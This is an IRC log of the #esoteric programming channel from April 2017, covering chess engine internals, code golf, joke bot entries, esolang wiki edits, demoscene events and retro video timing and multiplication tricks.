(Stockfish uses UCI protocol instead, I think?) 08:28:05 (except some of the old gnuchess 5 code remains, like vestigial wisdom teeth) 08:31:14 crafty's code is haughtily idiosyncratic, like the crafty.c which #includes all 40 thousand lines of the program into one unit 08:34:48 I also suspect that most engines handle 50-move somewhat incorrectly, which only manifests when the threshold is reduced to 1 08:36:43 for example, it looks like crafty knows how to claim the draw after its own move (by FIDE rules), but its search only checks the condition at the beginning of a move 08:45:25 zzo38: I'll look at it; however if the engine is too optimised, it will be harder to adapt to a chess variant 09:01:58 -!- oerjan has quit (Quit: Nite). 09:38:45 ^style irc 09:38:46 Selected style: irc (IRC logs of freenode/#esoteric, freenode/#scheme and ircnet/#douglasadams) 09:44:32 fungot: are you bored? 09:44:32 Jafet: a basic knowledge plus flood reading is better than 3 2 09:48:33 -!- Remavas__ has changed nick to Remavas-Hex. 09:51:36 -!- Remavas has joined. 09:53:11 -!- dingbat has quit (Quit: Connection closed for inactivity). 10:13:15 Wow, stockfish code is surprisingly readable. 10:17:42 (Though that's not saying much about the difficulty of actually changing it; the bitboard representation, for example, (and not surprisingly) is accessed all over the place in the evaluation function. (and I finally got why popcnt is so useful for chess engines... obvious in retrospect, hmm)) 10:57:12 on another golf topic, it seems that chess programmers are actively looking for magic hash functions http://chessprogramming.wikispaces.com/Magic+Bitboards 10:58:50 > "<id>>=flip idtext.(>>=id)((++).show)"<id>>=flip idtext.(>>=id)((++).show) 10:58:52 "<id>>=flip idtext.(>>=id)((++).show)"<id>>=flip idtext.(>>=id)((++).show) 10:59:27 * int-e wonders what other dirty trick oerjan has up his sleeves 11:01:11 but perhaps that's it, with s/text/putStr/ 11:01:17 err, .../g 11:03:47 > let putStr = text in "<id>>=flip idputStr.((++).show>>=id)"<id>>=flip idputStr.((++).show>>=id) 11:03:49 "<id>>=flip idputStr.((++).show>>=id)"<id>>=flip idputStr.((++).show>>=id) 11:05:55 -!- augur has joined. 11:06:14 -!- izabera has changed nick to izaonlyusesone. 11:07:10 -!- izaonlyusesone has changed nick to izabera. 11:21:14 -!- augur has quit (Quit: Leaving...). 11:49:22 -!- augur has joined. 12:40:48 -!- augur has quit (Remote host closed the connection). 13:22:33 @metar lowi 13:22:33 LOWI 161150Z 06013KT 9999 FEW015 SCT030 BKN045 08/05 Q1018 NOSIG 13:23:22 so cold 14:20:04 happeaster 14:22:19 happeaster 14:22:43 oh i was scrolled back exactly 24 hours 14:22:57 and thought my connection was lagging 14:34:03 lol 14:58:49 [wiki] [[Assignless]] N https://esolangs.org/w/index.php?oldid=51721 * Rdococ * (+883) Created page with ":''This language is still undergoing design. It may, and will, probably change in the future.'' '''Assignless''' is a work in progress esoteric programming language by User:..." 14:59:40 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51722&oldid=51700 * Rdococ * (+24) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ 15:10:03 -!- Remavas has quit (Ping timeout: 268 seconds). 15:24:43 -!- augur has joined. 15:29:01 -!- erkin has joined. 15:37:52 -!- boily has joined. 15:59:00 -!- augur has quit (Ping timeout: 240 seconds). 16:14:18 wisdom 16:14:19 kallisti//kallisti is a former prophet swearing off his pastry deity. 16:30:09 ? 16:30:11 ​? ¯\(°​_o)/¯ 16:30:19 ? learn 16:30:20 ​learn creates a wisdom entry and tries to guess which word is the key. Syntax (case insensitive): learn [a|an|the] [s][punctuation] [...] 16:30:22 ? le//rn 16:30:24 le/rn makes creating wisdom entries manually a thing of the past. 16:30:35 ? slash_learn 16:30:36 slash_learn? ¯\(°​_o)/¯ 16:31:07 rdochelloc. learning is good for you. 16:31:18 ? school 16:31:19 school? ¯\(°​_o)/¯ 16:31:52 le//rn school//School was a slave institution cleverly disguised as education. Fortunately, it was abolished in 2142. 16:31:56 Learned 'school': School was a slave institution cleverly disguised as education. Fortunately, it was abolished in 2142. 16:38:51 revert 16:38:52 Done. 16:39:07 ... 16:39:23 -!- rdococ has left ("Leaving"). 16:39:37 -!- rdococ has joined. 16:51:36 -!- DHeadshot has joined. 16:52:56 ? help 16:52:57 Help is on the way. We don't know where the way is, though. You might try help instead. 16:53:00 ? scream 16:53:01 scream? ¯\(°​_o)/¯ 16:53:33 le//rn scream//A popular method of writing screams is "AAAAAAAA". True linguists, however, use "IIIIIIII" or "ÆÆÆÆÆÆÆÆ". 16:53:35 Learned 'scream': A popular method of writing screams is "AAAAAAAA". True linguists, however, use "IIIIIIII" or "ÆÆÆÆÆÆÆÆ". 17:00:12 revert 17:00:13 Done. 17:00:52 le//rn . o O o .//. o O o . is a thought that ends before it begins. 17:00:54 Learned '. o o o .': . o O o . is a thought that ends before it begins. 17:01:10 ? thought 17:01:11 thought? ¯\(°​_o)/¯ 17:01:31 le//rn thought//. o O ( Why are they asking me for what a thought is? ) 17:01:34 Learned 'thought': . o O ( Why are they asking me for what a thought is? ) 17:01:40 ? meta 17:01:41 meta is about 17:01:48 ? about 17:01:49 about? ¯\(°​_o)/¯ 17:02:01 ? metaclass 17:02:02 metaclass? ¯\(°​_o)/¯ 17:07:17 ? egghunt 17:07:18 egghunt? ¯\(°​_o)/¯ 17:07:23 ? egg hunt 17:07:24 egg hunt? ¯\(°​_o)/¯ 17:16:27 -!- sleffy has joined. 17:21:25 ? egg hunt 17:21:26 Thank you for participating in the {Your favourite video game laboratory} Egg Hunt. Please proceed to the wisdom entry named Aperture. 17:21:46 @everyone who's here ^^ 17:21:46 Unknown command, try @list 17:32:21 -!- Zarutian has joined. 17:33:04 -!- chatter29 has joined. 17:33:09 hey guys 17:33:12 allah is doing 17:33:17 sun is not doing allah is doing 17:33:19 to accept Islam say that i bear witness that there is no deity worthy of worship except Allah and Muhammad peace be upon him is his slave and messenger 17:33:55 -!- chatter29 has quit (Client Quit). 17:34:03 what 17:34:06 nuts 17:35:34 -!- atslash has joined. 17:36:29 by fungot's nostrils... 17:36:29 boily: even if it may change between gcc versions or different ccs. wouldn't it be nice to get it 17:36:44 fungot: by the way, how many nostrils do you have? 17:36:45 boily: i don't get this. i am pondering leaving things in s-expressions before i convert to cps 17:36:56 ? FSM 17:36:58 A flying spaghetti monster that always consume all of its "input" and outputs *something* 17:37:06 o lol 17:38:21 ? ISM 17:38:23 Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism". 17:38:37 ? schism 17:38:39 schism? ¯\(°​_o)/¯ 17:38:59 well 17:39:07 at least now I know how came to be /tS/ 17:39:11 oops 17:39:13 wrong channel 17:39:23 :P 17:52:29 revert 17:52:30 Done. 17:52:31 ? fsm 17:52:32 An FSM is a state machine with noodly appendages. 17:52:58  cd wisdom; rm egg toward east body wit creative mputing us base half two camel lump hole egg\ hunt aperture ". o O o ." 17:53:00 rm: cannot remove ‘. o O o .’: No such file or directory 17:53:34 rm wisdom/. o o o . 17:53:36 No output. 17:55:34 -!- augur has joined. 17:55:58 :c 17:56:10 why?! it was festive 17:57:40 it wouldn't stand the test of time, and besides we have a rule against changing wisdoms off channel 17:59:28 I guess... 17:59:47 but there were no wisdoms being changed, only added (and then changed but that's different) 18:13:51 -!- sleffy has quit (Ping timeout: 260 seconds). 18:14:17 -!- sleffy has joined. 18:14:25 -!- MoALTz has joined. 18:32:52 <\oren\> https://www.youtube.com/watch?v=pSdxVW55h3Q 19:01:17 he\\oren\. wut? 19:17:18 <\oren\> wut wut? 19:29:52 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 19:47:09 -!- orby has joined. 19:47:24 howwwwdy ho 19:47:26 -!- sleffy has quit (Ping timeout: 255 seconds). 19:49:41 -!- sleffy has joined. 20:23:25 hoily, horby, horen. 20:25:12 -!- DHeadshot has quit (Ping timeout: 258 seconds). 20:27:13 -!- DHeadshot has joined. 20:28:18 -!- Zarutian has quit (Ping timeout: 240 seconds). 20:28:25 [wiki] [[A1]] N https://esolangs.org/w/index.php?oldid=51723 * Orby * (+3537) Creating initial A1 page 20:31:11 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51724&oldid=51723 * Orby * (+5) Saucy 20:33:58 [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51725&oldid=51552 * Orby * (+113) Adding A1 20:36:58 \oren\: the video, it is wutting. 20:38:55 [wiki] [[Special:Log/newusers]] create * Trakjohnson * New user account 20:52:39 ? wutting 20:52:40 wutting? ¯\(°​_o)/¯ 20:52:45 ? AI 20:52:46 AI? ¯\(°​_o)/¯ 20:53:13 le//rn AI//Hello, and again, welcome to the #Esoteric Wisdom folder. Be honest, you thought I was GLaDOS, didn't you? 20:53:15 Learned 'ai': Hello, and again, welcome to the #Esoteric Wisdom folder. Be honest, you thought I was GLaDOS, didn't you? 20:53:48 revert 20:53:49 Done. 20:54:27 I always seem to find games when their hayday is just over 20:54:38 -!- misterhitla has quit (Ping timeout: 240 seconds). 20:55:02 rdococ: which game this time? 20:55:07 portal 2 20:55:12 lol 20:55:25 altho I've known about it for a while, I think I found it just as jokes about it were starting to get old 20:55:48 Where are you going? Because I don't think you're going where you think you're going. 20:56:19 I was about to mention a game that seems to be internet taboo to discuss but meh 20:57:44 actually, I probably basically already mentioned it to some people -_- 20:58:08 ? controversy 20:58:09 controversy? ¯\(°​_o)/¯ 20:58:11 ? ntroversy 20:58:12 ntroversy? ¯\(°​_o)/¯ 20:59:29 le//rn controversy//Controversy is an alternate name for a game released in September of 2015. 20:59:31 Learned 'controversy': Controversy is an alternate name for a game released in September of 2015. 20:59:53 -!- misterhitla has joined. 21:01:12 le//rn UT//The UT series is a mathematical infinite series of alternating deconstructions and reconstructions of video games. 21:01:15 Learned 'ut': The UT series is a mathematical infinite series of alternating deconstructions and reconstructions of video games. 21:01:37 UT^1 deconstructs UT^0, UT^2 deconstructs UT^1, etc. 21:01:51 Technically, UT^0 could be said to deconstruct UT^-1. 21:13:42 -!- sleffy has quit (Ping timeout: 260 seconds). 21:21:43 -!- sleffy has joined. 21:32:29 -!- sleffy has quit (Ping timeout: 240 seconds). 21:33:15 -!- sleffy has joined. 21:35:30 [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51726&oldid=51724 * Orby * (-99) Making major changes 21:39:11 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51727&oldid=51726 * Orby * (-18) Cleaning up 21:42:02 -!- sleffy has quit (Ping timeout: 252 seconds). 21:45:09 -!- sleffy has joined. 21:53:27 oh lol 21:56:27 -!- sleffy has quit (Ping timeout: 260 seconds). 21:58:09 -!- sleffy has joined. 22:02:16 -!- boily has quit (Quit: APOCRYPHAL CHICKEN). 22:04:35 -!- sirnaysayer has quit (Ping timeout: 252 seconds). 22:05:13 -!- sleffy has quit (Ping timeout: 255 seconds). 22:07:20 -!- sirnaysayer has joined. 22:07:43 -!- sleffy has joined. 22:09:34 -!- sirnaysayer has quit (Client Quit). 22:10:08 [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51728&oldid=51727 * Orby * (+59) Fixing error in example and changing command 22:10:46 -!- augur has quit (Remote host closed the connection). 22:12:44 -!- sebbu2 has joined. 22:13:33 -!- Zarutian has joined. 22:13:59 -!- Zarutian has quit (Read error: Connection reset by peer). 22:14:34 -!- Zarutian has joined. 22:16:01 -!- sebbu has quit (Ping timeout: 255 seconds). 22:22:05 -!- augur has joined. 22:22:12 -!- augur has quit (Remote host closed the connection). 22:24:16 -!- augur has joined. 22:30:01 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51729&oldid=51728 * Orby * (-41) /* Examples Of Assembly Code */ Improving example 22:30:58 -!- DHeadshot has quit (Ping timeout: 260 seconds). 22:38:47 hm 22:38:59 is {XOR, NOT} a functionally complete set? 22:41:56 actually 22:42:03 it's technically the set {XOR, NOT, T, F} 22:42:39 nope 22:46:34 ? set 22:46:35 set? ¯\(°​_o)/¯ 22:46:43 ? function 22:46:44 function? ¯\(°​_o)/¯ 22:46:47 meh 22:48:09 I'm pretty sure material implication is truth-preserving & it's functionally complete 22:48:15 actually 22:48:18 it isn't alone 22:48:25 it is if you add F 22:48:28 for false 22:56:15 so it's practically FC, for things like OISCs 22:56:51 and even if we ignore that 23:01:55 how about a language that's pure preprocessor 23:09:47 rdococ: I've thought about that before, I think it's an interesting idea 23:10:02 I'll completely ruin it by trying to design one then! 23:10:14 excellent :) 23:10:57 ? preprocessor 23:10:59 preprocessor? ¯\(°​_o)/¯ 23:11:48 le//rn preprocessor//Preprocessing code in C was actually the precursor to IRC & Twitter, and the first to kick off the hashtag craze. 23:11:51 Learned 'preprocessor': Preprocessing code in C was actually the precursor to IRC & Twitter, and the first to kick off the hashtag craze. 23:11:58 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:13:23 oh lol 23:13:47 I'm also going to look up C++ templates. I hear they're TC. 23:13:50 Well shouldn't the real processing be the so-called "preprocessing"? 23:13:52 :P 23:14:12 C++ templates are interesting :) 23:14:53 oh wow 23:15:28 so it's C++ really interesting way of making functions that actually understand how an integer and a float are both numbers 23:15:47 :p 23:16:03 wow, you can do it with classes too 23:17:56 and you can metatemplate 23:18:42 hm 23:19:09 #define seems to just be a way to define functions w/o side effects 23:19:50 ah 23:19:56 that's MS-Specific 23:20:06 no wait 23:20:12 it isn't :P 23:21:11 #define is preprocessor 23:21:16 it's a pure text substitution 23:21:20 ik 23:25:56 [wiki] [[A1]] https://esolangs.org/w/index.php?diff=51730&oldid=51729 * Orby * (+202) Cleanup and improvements. More examples. 23:26:41 hm 23:29:23 hm you say? 23:30:04 I'm going to start working on a schemantic for an esoteric video display processor and call it teriyaki 23:30:08 heh 23:31:56 -!- erkin has joined. 23:35:06 I'm pretty sure C preprocessing code is as close to TC as C can get 23:44:54 ? success 23:44:58 success? ¯\(°​_o)/¯ 23:45:09 le//rn success//If at first you don't succeed, you fail. 23:45:12 Learned 'success': If at first you don't succeed, you fail. 23:46:06 -!- DHeadshot has joined. 2017-04-17: 00:02:10 -!- DHeadshot has quit (Ping timeout: 258 seconds). 00:05:38 -!- augur has quit (Remote host closed the connection). 00:12:00 -!- sebbu2 has changed nick to sebbu. 00:19:32 [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51731&oldid=51713 * Fractalwizz * (+243) fractalwizz Introduction 00:20:05 [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51732&oldid=47049 * Fractalwizz * (+124) Added Interpreter Link 00:20:35 -!- augur has joined. 00:22:06 Yo guys !!! http://i.imgur.com/NiiUnVd.jpg 00:22:14 Live at Revision demoparty right now 00:22:24 A demo in Processing.js and Brainfuck 00:22:33 With brainfuck on the screen heh 00:24:50 -!- augur has quit (Ping timeout: 252 seconds). 00:32:43 -!- atslash has quit (Ping timeout: 240 seconds). 00:33:29 -!- atslash has joined. 00:36:06 -!- augur has joined. 00:40:30 -!- augur has quit (Ping timeout: 258 seconds). 00:43:33 looks vaguely like computer code stock photos 00:47:42 -!- augur has joined. 00:51:59 -!- augur has quit (Ping timeout: 240 seconds). 00:52:12 -!- hppavilion[1] has joined. 00:52:38 * hppavilion[1] writes a DO..IF construct 00:52:43 @massages-lood 00:52:43 \oren\ said 3d 3h 18m 19s ago: ⸶⸷⸸ are in unicode what are you talking about 00:52:50 pouet lists no web (or esolang) category at revision, I guess this is being screened out of competition 00:52:59 unidecode ⸸ 00:53:00 U+2E38 TURNED DAGGER \ UTF-8: e2 b8 b8 UTF-16BE: 2e38 Decimal: ⸸ \ ⸸ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) 00:53:05 \oren\: ...FUUUUUUUUUUUUUUU 01:10:31 looooooooooooooooooooooooooooooool 01:10:39 unidecode 01:10:41 U+0002 \ UTF-8: 02 UTF-16BE: 0002 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 01:10:44 -!- augur has joined. 01:11:20 unidecode 01:11:21 U+0003 \ UTF-8: 03 UTF-16BE: 0003 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 01:12:00 -!- augur has quit (Read error: Connection reset by peer). 01:12:30 -!- augur has joined. 01:16:55 -!- augur has quit (Ping timeout: 258 seconds). 01:30:38 -!- Zarutian has quit (Ping timeout: 240 seconds). 01:31:19 trn: are you at revision? that's awesome btw 01:31:54 sadly not currently 01:32:18 Just watching the stream since I couldn't be there 01:41:50 -!- augur has joined. 01:46:13 -!- augur has quit (Ping timeout: 240 seconds). 01:47:38 trn: it totally slipped my mind that revision was today. are you active in the demoscene? 01:48:29 My most recent project: http://www.pouet.net/prod.php?which=68783 01:52:22 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51733&oldid=51730 * Orby * (+39) Changing specification to allow for different register widths. 01:53:06 orby: not active for many years 01:53:18 shame on you ;) 01:53:31 I DJ and I still follow the scene tho and use a lot of their music tools etc still 01:53:44 I could release stuff if I was less lazy etc I guess 01:53:44 cool 01:53:51 I go to compos when I can 01:54:15 yeah, I haven't been to any parties yet this year 01:54:29 I'm in the US, so not a lot of opportunity short of jumping the pond 01:54:38 I try to make it up to @party at least 01:54:58 yeah same 01:55:21 are you close to boston? 01:55:26 I like revision and Breakpoint but flying all over racks up the bills when we live in US 01:55:33 yes it does 01:55:40 and I'm Florida so nope 01:55:45 Soon Kentucky 01:55:58 ouch, you could almost get to revision faster than @party 01:56:02 Generally try to stay outta yankeedom :) 01:56:11 haha, nice 01:56:18 yeah, I'm in Baltimore, so right on the cusp 02:00:19 I'm always like "Oh, Revision" must be Easter 02:01:20 Revision is one of my fav events because it's got the wild compo and diverse stuff and a good scene 02:01:42 Much rather go to Revision than, say, defcon or something 02:05:51 I've never been to revision sadly. I hope to one day. 02:08:44 -!- sirnaysayer has joined. 02:17:29 [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51734&oldid=51725 * Orby * (+0) 02:27:46 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 02:58:37 -!- MoALTz has quit (Quit: Leaving). 03:03:58 -!- sleffy has quit (Ping timeout: 240 seconds). 03:12:30 [wiki] [[Teriyaki]] N https://esolangs.org/w/index.php?oldid=51735 * Orby * (+1556) Created Teriyaki VDP Page! 03:14:37 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51736&oldid=51733 * Orby * (+61) /* See Also */ Added link to Teriyaki 03:15:20 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51737&oldid=51735 * Orby * (+43) Adding categories 03:29:47 no hardware implementation? isn't this exactly how CRT screens work? 03:38:29 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 03:43:07 Jafet: I don't know enough about NTSC to know whether or not per pixel interrupts are possible. I've never seen it in hardware (probably because it's insane). Maybe it's possible. Who knows? 03:43:49 If there are any engineers around who want to try it, be my guest 03:44:19 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51738&oldid=51737 * Orby * (+589) Updating with more details 03:44:55 well, real hardware uses synchronised clocks instead of interrupts, but I don't see it making a big difference 03:45:41 unless the display can send interrupts at arbitrary times… 03:45:47 yeah, but vdps usually raise interrupts on the cpu for vblank and sometimes hblank 03:46:10 btw I added a note in the spec about the hblank interval for scanline effects. mwahahaha 03:46:48 Once I get around to writing a vm with these specs I can't wait to write my first raster bars 03:46:52 it seems too easy to work around this by having the interrupt handler read from the double buffer (which programs will be using anyway) 03:47:44 something like that is clearly neccesary unless the vm restricts ram to something silly like 1k 03:47:57 which is probably what I'll do for fun :) 03:48:57 a vm with 1k of ram and a 200 mhz cpu 03:51:14 the atari vcs only had enough vram for 40 pixels and 256 bytes of ram 03:51:20 and look at what programmers did with that 03:59:41 heh 04:02:01 hm 04:02:11 can you reference other #defined functions in #definitions? 04:18:19 -!- augur has joined. 04:20:33 hello augur 04:22:41 -!- augur has quit (Ping timeout: 255 seconds). 04:22:45 I don't think the “very fast CPU” is meaningful either; even for buffered displays the CPU must match the average fill rate, but it doesn't need to be much faster (only a few extra cycles per pixel to handle the interrupt) 04:23:45 well, it depends on how quickly the CPU can handle interrupts; A1 shouldn't be hard because there are only a handful of registers to save 04:25:56 -!- Sgeo__ has quit (Read error: Connection reset by peer). 04:26:14 why not an assembly programming language where everything is a system interrupt 04:26:24 need to MOV something? INT! 04:26:50 also known as minix *cough* 04:27:50 lol @ Jafet 04:28:27 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51739&oldid=51738 * Orby * (+267) Ditched interrupts to force users to cycle count ;) Changed timing notes from microseconds to cycles to reflect the fact that the VDP should be on the same clock as the cpu 04:28:58 oh man, I can't wait to start writing effects for this stupid thing 04:29:03 what an absurd idea 04:29:56 I'm working on an extremely high level language if you're interested 04:30:16 I'm talking computer algebra systems 04:30:21 maybe even higher 04:31:21 -!- Sgeo has joined. 04:31:40 if high level languages were a race, it would win before the race even started 04:36:44 Jafet: I think with the current timing scheme, users will be forced to do something other than simply dump to a frame buffer during the vblank and copy values to the palette during the drawing period 04:37:04 as it would only leave 8 cycles per pixel to render a frame buffer 04:37:51 hmm, maybe that means my vblank numbers are too low 04:38:10 I wish I had more experience with how video signals are timed out 04:38:43 the only machines I have experience with this stuff on usually have around 100,000 cycles available during the vblank 04:38:51 obviously I have cycle counted since the 80s... 04:41:00 Hmm, yeah my vblank period is only about 2.5% of the refresh, that sounds low 04:48:39 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51740&oldid=51739 * Orby * (+120) Updating timing with more realistic VBLANK numbers 04:55:27 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51741&oldid=51740 * Orby * (+3) /* Timing */ Cranking down timing for modesty 04:58:43 -!- sleffy has joined. 04:58:55 neh 04:59:04 Yay (tm) 04:59:22 -!- hppavilion[1] has joined. 05:04:43 HTTP/Vo/IP 05:05:26 VOIP 05:05:27 It's when you run HTTP by having someone do the request for you by reading them the request through Vo/IP, then having them read the response bytes back to you 05:05:31 rdococ: Vo/IP 05:05:36 Vio 05:05:37 p 05:05:40 ooh 05:05:42 esoteric protocol 05:06:33 EML: Esoteric Markup Language :P (ik it's not the same category as HTTP, but seeing as it's often related to HTML, meh) 05:07:30 rdococ: See: Project Xanadu 05:08:04 ? 05:08:24 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51742&oldid=51741 * Orby * (-1) /* Strategies */ typo 05:09:36 rdococ: Lookitup 05:10:02 rdococ: When reading about Crocker's Rules, I came across the term "social communication protocol", which is an interesting concept 05:10:46 I wanted to come up with something original. seems like I never get to :c 05:11:28 also, when I search up "social communication protocol" I see search results about a disorder (apparently, everything in a child is now a disorder). 05:11:45 rdococ: https://is.gd/vekZ7Y 05:12:01 I just did that -_- 05:13:27 I waned to be original, but :/ 05:13:40 I can't make an EML with that masterpiece there 05:13:50 it'll just be like every single time I try to make a programming language 05:14:48 rdococ: Oh? 05:15:19 Actually, to be fair, I didn't see an actual markup language there - but I think that's the point 05:16:00 Additionally, there are probably more ways to improve paper. 05:16:13 [wiki] [[User:Orby]] M https://esolangs.org/w/index.php?diff=51743&oldid=51734 * Orby * (+97) Adding Teriyaki to projects page 05:18:47 For example, why have a semi-linear, fixed chunk of text at all? Have different subtopics that can be moved and dragged around for more customizable reading. 05:20:11 Why not get rid of the idea of webpages entirely, and just have a network of interconnected nodes, each one containing interactive information? 05:20:39 rdococ: I do think that the client should have more choice in presentation, and there should be a multi-layered approach to display where you can start with lower-level data 05:20:47 Exactly. 05:21:03 Like, I could just get the text and basic emphasis markup and not ask for as much styling information 05:21:28 Maybe we do need an esoteric markup language after all. 05:21:31 One problem: 05:21:33 it won't be esoteric :/ 05:21:44 :p 05:23:57 rdococ: I think the ultimate goal of esolangery is to get something so crazy it wraps around and actually has a decent use 05:24:23 I've never been good at that. 05:24:26 rdococ: Like, I designed Ingredients-based programming on a whim and I'm pretty sure it has real possibilities in security 05:24:38 And Quantum Computing needs an esolanger *now* 05:24:51 I don't understand quantum computing very well. 05:25:03 Do you want me to try nevertheless? 05:26:23 rdococ: I understand quantum computing 1000000 times better than you, which basically means I can say the words "hilbert space" and that's it 05:26:46 nice way to make me feel down 05:27:24 rdococ: That was meant to be self-detrimental 05:27:37 Really? 05:27:46 Yeah 05:27:47 Odd way to be self-detrimental, but okay. 05:27:57 rdococ: "which basically means I can say the words \"hilbert space\" and that's it" 05:28:06 rdococ: I mean, the point was also that quantum computing is *hard* 05:28:22 I still don't get it. 05:28:29 rdococ: I'm not sure it worked very well 05:29:03 What should I try and fail to create this time? 05:29:06 ? success 05:29:07 If at first you don't succeed, you fail. 05:29:21 ? fail 05:29:22 fail? ¯\(°​_o)/¯ 05:29:23 ? failure 05:29:24 failure? ¯\(°​_o)/¯ 05:29:37 le//rn failure//If at first you don't fail, you succeed. 05:29:39 Learned 'failure': If at first you don't fail, you succeed. 05:29:50 le//rn failure//If at first you don't fail, you fail later. 05:29:52 Relearned 'failure': If at first you don't fail, you fail later. 05:33:55 -!- atslash has quit (Quit: Leaving). 05:34:16 ? hppavilion[1] 05:34:17 hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. Él aspira a ser más incomprensible que esta sabiduría. 05:34:19 ? xanadu 05:34:20 xanadu? ¯\(°​_o)/¯ 05:34:22 ? project xanadu 05:34:23 project xanadu? ¯\(°​_o)/¯ 05:37:47 -!- sleffy has quit (Ping timeout: 252 seconds). 05:39:51 -!- sleffy has joined. 05:46:37 orby: the obvious approach would be to render the first scanline during the vblank, then render the next scanline between interrupts 05:48:46 Jafet: Hmm, well during the scanline you'll need to update the palette, so that will eat up most of your time between scanlines 05:48:49 [wiki] [[DStack]] https://esolangs.org/w/index.php?diff=51744&oldid=45924 * -Dark-Phantom- * (+51) Online interpreter link 05:48:54 [wiki] [[ROOP]] https://esolangs.org/w/index.php?diff=51745&oldid=46059 * -Dark-Phantom- * (+49) Online interpreter link 05:49:23 I've rewritten the page to talk about timing in terms of cycles rather than seconds and ditched the interrupts under the assumption that the vdp will run on the same clock as the cpu anyway 05:50:19 so, assuming that most of the time during the actual scan will be eatten up by updating the palette, there are current 8192 cycles between scanlines to do stuff, which leaves 64 cycles per pixel if you want to do it the way you're talking about 05:50:58 the point is that any CPU that can handle the fillrate for a conventional video processor plus a few cycles per pixel interrupt can generally also handle this device without much trouble 05:51:53 it just needs to render ahead far enough that “difficult” pixels can be amortized 05:53:54 I think the lack of a frame buffer will definitely present a problem. I don't think there is enough time during the hblank to do very much, and certainly not enough time during the pixel interrupt to actually render anything. 05:54:26 It's definitely not impossible, by design. But I think it would be fun. 05:55:45 the VM I have in mind for it that I want to write wouldn't have enough ram to fill an entire framebuffer during the vblank 05:56:58 what I described works even if there are no vblanks or hblanks; the program can do calculations in between the interrupts 05:57:07 which interrupt? 05:57:15 the vsync or the pixel interrupt? 05:57:36 the pixel interrupts, which would be the only type remaining 05:57:57 the pixel interrupt only leaves room for a few cycles, definitely not enough to render anything interesting 05:59:06 I was describing the pixel interrupt as occuring every microsecond, and now I'm describing it as occuring every 64 cycles 05:59:47 -!- aiz11 has joined. 05:59:55 -!- sirnaysayer has quit (Quit: zonkzonk). 06:00:04 I get what you're saying, using a few cycles to copy from the scanline buffer and the rest to write to the new scanline buffer, but how much can you do in a few thousand cycles? 06:00:23 well, it varies greatly with the architecture 06:00:35 indeed 06:00:43 if you don't even have imul, let alone floating point, then it's going to be a bit constrained 06:01:26 I hope I don't come off as hostile toward your criticisms, thanks for taking a look at it, thinking about it, and discussing it with me 06:02:12 the whole reason I wrote up the spec for the vdp is that I'm planning a vm using this architecture https://esolangs.org/wiki/A1 06:02:28 which I think will be challenging and fun 06:09:58 man, imul. the last chip I wrote assembly code on with a multiplication instruction had a mul that used 120 cycles lol 06:10:35 good old tms9900 06:10:46 i'll take a 6502 any day 06:24:26 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51746&oldid=51742 * Orby * (-17) /* Timing */ Still tweaking cycle counts to produce something that's easier to emulate 06:44:54 One fast way to make multiplication in software is by "quarter square" algorithm. If you want to multiply together 16-bit numbers, you can do that easily enough too 06:54:51 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51747&oldid=51731 * Beefster * (+263) /* Introductions */ 06:55:04 [wiki] [[Hanoiing]] N https://esolangs.org/w/index.php?oldid=51748 * Beefster * (+2114) Brag brag brag lazy formatting brag brag blah 06:56:54 [wiki] [[Hanoiing]] https://esolangs.org/w/index.php?diff=51749&oldid=51748 * Beefster * (+95) Wikipedia links 06:57:18 zzo38: yeah, when I'm writing stuff for cpus with no multiply instruction I am usually writing demoscene stuff, so I just use lookup tables 06:57:59 -!- sirnaysayer has joined. 06:58:33 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51750&oldid=51667 * Beefster * (+15) Shameless plug for an esolang I made today. 06:58:43 "Quarter square" algorithm is using a (one dimensional) lookup table. 07:02:24 -!- hppavilion[0] has joined. 07:05:43 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 07:09:22 zzo38: ahh, I did not know that. cool. 07:16:54 with 1K of memory you might be limited to 4×4 multiplication tables 07:18:09 it may be no better than a long multiplication then, for 32-bit registers 07:18:28 -!- sirnaysayer has quit (Quit: zonkzonk). 07:18:55 > (32 div 4)^2 07:18:57 64 07:19:12 -!- sirnaysayer has joined. 07:23:02 alas, without a left shift you can't really make use of sub-byte tables, so I think long multiplication always wins 07:25:24 -!- viznut has quit (Ping timeout: 246 seconds). 08:02:47 -!- orby has quit (Ping timeout: 260 seconds). 08:03:43 -!- sleffy has quit (Ping timeout: 240 seconds). 08:19:06 -!- viznut has joined. 08:24:49 -!- hppavilion[0] has quit (Ping timeout: 268 seconds). 08:43:40 -!- erkin has joined. 08:52:07 -!- AnotherTest has joined. 09:00:27 -!- kiki has joined. 09:22:37 